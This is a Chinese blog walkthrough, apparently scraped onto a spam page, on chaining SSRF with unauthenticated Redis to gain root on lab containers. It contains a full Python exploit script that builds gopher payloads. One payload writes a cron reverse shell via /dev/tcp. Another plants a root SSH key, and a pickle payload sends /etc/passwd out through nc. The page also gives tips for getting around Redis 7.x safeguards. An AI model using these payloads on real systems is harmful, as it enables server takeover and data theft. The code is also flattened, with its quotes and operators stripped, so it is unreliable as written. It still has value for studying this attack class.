当前位置: 首页 > news >正文

专门做销售培训的网站互联网创业平台

专门做销售培训的网站,互联网创业平台,商城网站项目工作的流程,网站 利润目录 漏洞介绍 SSRF Redis未授权 利用原理 环境搭建 利用过程 rockylinux cron计划任务反弹shell 写公钥免密登录 ubuntu 写公钥免密登录 漏洞介绍 SSRF SSRF#xff08;server side request forgrey#xff09;服务端请求伪造#xff0c;因后端未过滤用户输入免密登录 ubuntu 写公钥免密登录 漏洞介绍 SSRF SSRFserver side request forgrey服务端请求伪造因后端未过滤用户输入导致攻击者可以利用服务器向由攻击者输入的任意地址发起HTTP请求。攻击者可以对内网脆弱组件redisphp-fpm发起攻击获取服务器权限 Redis未授权 Redis在低版本中未强制设置密码攻击者可以无需任何权限访问redis若redis未降权运行可获取服务器root权限 利用原理 原理即为攻击者通过SSRF访问内网或本地的redis6379端口如果刚好存在redis未授权即可getshell 环境搭建 原来的靶场环境Web-Hacking-Lab因为centos的停止维护用不了了我改成了rockylinux8的镜像类似centos操作系统 注意我是在外网的公网服务器上搭建的不保证国内可以搭建成功师傅们自行修改docker文件 链接https://pan.baidu.com/s/1-ebmTKaWGu3qeat5fK1iOw?pwdcate  提取码cate 利用过程 rockylinux 访问http://ip:2222 尝试file读取文件成功读取说明存在ssrf漏洞 尝试访问本地6379端口发现redis报错说明存在redis组件 cron计划任务反弹shell #!/usr/bin/python2 from __future__ import print_functionimport os import sys import base64 import urllib import pickle import subprocessdef generate_resp(command):res if isinstance(command, list):passelse:command command.split( )res *{}\n.format(len(command))for cmd in command:res ${}\n.format(len(cmd))res {}\n.format(cmd)return resdef get_public_ip():try:return subprocess.check_output([curl,-s,ident.me])except:return Nonedef generate_gopher(payload):final_payload gopher://127.0.0.1:6379/_{}.format(urllib.quote(payload))return final_payloaddef ssh_key_write(ssh_dir/root/.ssh):res pubkey_path /root/.ssh/id_rsa.pubif(not os.path.exists(pubkey_path)):print(Please Run : ssh-keygen -t rsa)exit(1)pubkey \n\n open(pubkey_path,r).read()res generate_resp(flushall)# res generate_resp(set 1 {}.format(pubkey))res generate_resp(set 1 {DUMMY}.format(DUMMYA * len(pubkey)))res generate_resp(config set dir {}.format(ssh_dir))res generate_resp(config set dbfilename authorized_keys)res generate_resp(save)res generate_resp(quit)res res.replace(A * len(pubkey),pubkey)res res.replace(\n,\r\n)print(generate_gopher(res))print()print()print()print(After payload executed, try ssh rootserver_hostname)print()def cron_write(ip, port8080, os_typecentos):if os_type centos:crontab_path /var/spool/cron/else:crontab_path /var/spool/cron/crontabscron_command \n\n*/1 * * * * /bin/bash -c sh -i /dev/tcp/{ip}/{port} 01\n\n.format(ipip, portport)res res generate_resp(flushall)res generate_resp(set 1 {DUMMY}.format(DUMMYA * len(cron_command)))res generate_resp(config set dir {}.format(crontab_path))res generate_resp(config set dbfilename root)res generate_resp(save)res generate_resp(quit)res res.replace(\n,\r\n)res res.replace(A * len(cron_command), cron_command)print(generate_gopher(res))class PickleExploit(object):def __reduce__(self):ip 127.0.0.1port 9091cmd cat /etc/passwd | nc {} {}.format(ip, port)return (os.system, (cmd,))def pickle_payload(key):res payload pickle.dumps(PickleExploit())res \r\nres generate_resp(set {} {}.format(key, base64.b64encode(payload)))res res.replace(\n, \r\n)print(generate_gopher(res).replace(gopher,http))if len(sys.argv) 2:print(cron or ssh or pickle)sys.exit(0)if sys.argv[1] cron:ip raw_input(Reverse IP ) or get_public_ip() or 127.0.0.1port raw_input(Port ) or 8080os_type raw_input(Centos/Ubuntu (Default Centos)) or centoscron_write(ipip,portport)if sys.argv[1] ssh:ssh_key_write()if sys.argv[1] pickle:key raw_input(Key name )pickle_payload(key) 利用python脚本生成payload注意是python2 抓包发送payload这里因为是post数据流可以urlencode也可以不用 可以看到redis返回ok 等待一分钟左右成功反弹root权限 进容器可以看到任务计划中成功写入反弹shell脚本 写公钥免密登录 同样利用python脚本生成payload ssh-keygen生成密钥 抓包发送payload可以看到redis返回ok 注意这里不要urlencode编码否则会出现下面这种情况 然后直接ssh登录成功登录注意这里的 -p 10025因为是容器的22端口映射到服务器上的10025端口 进容器查看.ssh目录发现的确写入了公钥 ubuntu 写公钥免密登录 探测6379端口是否存在发现redis返回报错信息 同样python生成payload 但是在发送时却遇到了问题 为此我在容器里redis-cli连接redis直接写入看看是否是redis的问题 果不其然是redis的问题 那为什么rockylinux没有问题 我查看了Dockerfile文件发现rockylinux使用的是5.0.5的redis版本 而ubuntu用的则是稳定版本 之后想起来redis有一个保护模式我尝试改成no然后重启redis仍然不行 查找其他博主的博客。尝试这两个命令仍然不行 config set protected-mode no config set slave-read-only no 发现可能是版本太高换个版本试试 换成6.2.9后直接设置成功没有报错 再试试高一点的 7.2.1版本发现也还是不行 说明redis在7.x版本中意识到了redis未授权对服务器的危害不允许用户再自定义被保护的配置路径 想要在7.x版本中复现可以修改redis配置文件的配置将下面的配置改为yes 再次发送payload 成功登录
http://www.hkea.cn/news/14416356/

相关文章:

  • 阳泉网站开发本地搭建 wordpress
  • 网站开发 模块化linux软件开发工具
  • 太月星网站建设程序开发网页设计厦门建设官网
  • 网站建设方案汇报中国企业网站设计案例
  • 网站开发安全问题wordpress网易云插件
  • 郑州百度网站推广企业联系电话
  • 网站制作切片长沙哪里做网站
  • 晋江建设局网站wordpress后台用户名
  • 国内响应式网站案例vue网站开发实例
  • 瘦身网站开发目的中国建设教育协会网站证书
  • 技术难度高的网站开发网页设计模板html代码五四主题
  • 网站建设备案流程安卓手机优化大师官方下载
  • 快递网站怎么制作常州网站建设推广
  • 嘉兴网站建设哪家做得好高端网站设计哪家好
  • 实用网站建设期末考试商丘高端网站建设
  • 长沙市做网站公司徐州关键词优化平台
  • 个人电脑安装win2003做网站河北石家庄天气
  • 购买网站空间重庆建设牌摩托车官网
  • 微信网站开发教程视频网站建设可以入开发成本吗
  • 学校ftp服务器做网站海南建设厅评审网站
  • 坪地网站制作seo如何进行优化
  • 广州网站建设的地方推荐用区块链来做网站
  • 成都网站平面设计微信官方网站
  • 浙江艮威水利建设有限公司网站微信 网站提成方案点做
  • 电子商务网站建设期末河南建设工程信息网下载
  • 淮南市网站建设wordpress 主题转换
  • 做视频网站被判刑浙江建站优化品牌
  • 只做网站的网站开发需求分析范本
  • 如何打开国外网站免费收录网提交
  • 网站怎么做背景图片西安网站建设推广